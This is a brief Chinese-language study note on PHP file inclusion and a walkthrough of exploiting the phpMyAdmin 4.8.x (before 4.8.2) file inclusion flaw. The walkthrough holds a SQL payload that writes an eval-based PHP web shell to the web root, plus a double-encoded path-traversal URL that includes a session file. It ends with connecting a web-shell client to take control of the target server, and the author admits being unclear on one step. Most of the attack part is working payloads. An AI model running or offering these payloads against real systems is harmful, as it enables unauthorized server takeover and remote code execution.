文件包含(本地文件+远程文件)
这两个函数并不会在意包含文件的后缀名是什么,都会把其当作php代码执行
简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启)

相对路径与绝对路径
进入一个不存在的目录,这里目录的名字里不能有?*号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。

phpMyAdmin 远程文件包含漏洞
在 4.8.2 之前的 phpMyAdmin 4.8.x 中发现了一个问题,其中攻击者可以在服务器上包含文件
基本步骤:
可以将 WebShell 写入,首先从phpinfo()中查看 web 路径:
搜索CONTEXT_DOCUMENT_ROOT:

构造Payload:
select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[cmd]);?>')?>"
php生成session时,会生成在/tmp目录下,且以sess_开头,例如:/tmp/sess_be9f3bebfb7ab4192fd07c479cf6b171,其中记录着用户的操作
再次包含文件:
http://x.x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_2c3dd215ccd61cdb6066d8cab495bcba
(这一步再次包含文件还不清楚怎么做)
访问http://x.x.x.x/shell.php,
webshell 已经写入,使用蚁剑连接,
成功获取到目标服务器权限。

浙公网安备 33010602011771号